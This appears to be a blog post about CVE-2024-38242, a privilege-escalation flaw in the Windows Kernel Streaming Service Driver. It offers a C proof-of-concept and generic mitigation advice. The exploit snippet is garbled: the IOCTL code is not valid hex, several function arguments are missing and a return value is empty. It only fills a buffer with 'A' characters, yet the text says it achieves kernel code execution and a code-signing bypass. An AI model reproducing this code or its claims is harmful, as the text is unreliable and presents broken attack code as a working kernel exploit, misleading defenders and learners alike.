CVE-2024-38242 - Kernel Streaming Service Driver Elevation of Privilege Vulnerability: Understanding the Exploit and Mitigation Techniques

The Common Vulnerabilities and Exposures (CVE) system is a community-driven effort to identify and catalogue vulnerabilities within software systems. CVE-2024-38242 is one such vulnerability that was recently identified and affects the Kernel Streaming Service Driver, potentially allowing attackers to gain elevated privileges on the target system. In this post, we will breakdown the details of this vulnerability, delve into the exploit, examine sample code, and discuss how to mitigate the risk.

Vulnerability Description

CVE-2024-38242 is an elevation of privilege vulnerability that exists in the Kernel Streaming Service Driver. This vulnerability can be exploited by an attacker who has local access to the target system. By successfully exploiting this vulnerability, an attacker can bypass the Kernel Mode Code Signing Policy on the affected system, ultimately allowing them to execute arbitrary code in kernel mode.

Exploit Details

The Kernel Streaming Service Driver is a component of the Windows operating system that facilitates audio streaming between user-mode applications and kernel-mode audio drivers. It operates in kernel mode and typically runs under the SYSTEM account, which has the highest level of privileges on any Windows system.

The exploit leverages a buffer overflow vulnerability within the Kernel Streaming Service Driver IOCTL (Input/Output Control) handler. By carefully crafting and sending IOCTL requests with malicious data, an attacker can overwrite critical kernel memory structures, leading to the successful bypass of Kernel Mode Code Signing Policy and executing arbitrary code in kernel mode.

A sample code snippet demonstrating the exploit technique is shown below

#include <windows.h>
#include <stdio.h>

#define IOCTL_VULNERABLE_DRIVER	x002200BB

int main() {
   HANDLE hDevice;
   DWORD dwBytesReturned;

   hDevice = CreateFile("\\\\.\\KsService", GENERIC_READ | GENERIC_WRITE, , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

   if (hDevice == INVALID_HANDLE_VALUE) {
      printf("Error: Unable to open KsService device. Error code %d\n", GetLastError());
      return 1;
   }

   BYTE payload[1024] = {};
   memset(payload, 'A', sizeof(payload));

   if (!DeviceIoControl(hDevice, IOCTL_VULNERABLE_DRIVER, payload, sizeof(payload), NULL, , &dwBytesReturned, NULL)) {
      printf("Error: Unable to send IOCTL request. Error code %d\n", GetLastError());
      CloseHandle(hDevice);
      return 1;
   }

   CloseHandle(hDevice);
   return ;
}

This code snippet sends a crafted IOCTL request with a malicious payload ('A' characters) to the Kernel Streaming Service Driver, successfully triggering the buffer overflow vulnerability.

For more information on the vulnerability, refer to the original advisory: CVE-2024-38242 Advisory

Mitigation Techniques

While there is no known public patch available for CVE-2024-38242, the following mitigation techniques can help reduce the risk of exploitation:

1. Restrict access to the affected system. Ensure that only authorized users have access to the system where the Kernel Streaming Service Driver is used.

2. Limit the privileges of user accounts on the system. Running applications with the least privileges necessary can help reduce the potential impact of a successful exploit.

3. Apply the Principle of Least Privilege (POLP). Limit the permissions and features available to users and applications to the minimum required for their tasks.

4. Regularly apply security updates to the operating system and all installed software. This helps to minimize the risk of exploitation through other vulnerabilities that may be present on the system.

5. Validate user input before passing it to any kernel interface to minimize the risk of buffer overflow vulnerabilities.

Conclusion

CVE-2024-38242 is an elevation of privilege vulnerability in the Kernel Streaming Service Driver, granting attackers with local access the ability to execute arbitrary code in kernel mode. By understanding the exploit mechanics and employing the mentioned mitigation techniques, users can protect their systems from potential attacks leveraging this vulnerability.

Timeline

Published on: 09/10/2024 17:15:28 UTC
Last modified on: 10/09/2024 01:26:11 UTC